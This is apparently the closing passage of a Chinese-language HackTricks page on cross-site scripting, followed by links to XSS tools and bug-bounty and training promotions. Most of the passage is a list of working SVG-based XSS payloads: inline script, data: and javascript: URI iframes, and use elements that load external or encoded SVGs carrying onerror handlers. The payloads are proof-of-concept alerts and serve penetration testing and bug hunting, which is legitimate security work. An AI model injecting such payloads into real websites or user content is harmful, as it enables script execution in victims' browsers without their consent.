<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

https://github.com/allanlw/svg-cheatsheet 找到更多 SVG 载荷

杂项 JS 技巧 & 相关信息

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS 资源

XSS 工具

这里找到 XSS 工具


漏洞赏金提示注册 Intigriti,一个由黑客创建,为黑客服务的高级漏洞赏金平台!立即加入 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

通过 htARTE (HackTricks AWS 红队专家)从零开始学习 AWS 黑客攻击!

支持 HackTricks 的其他方式: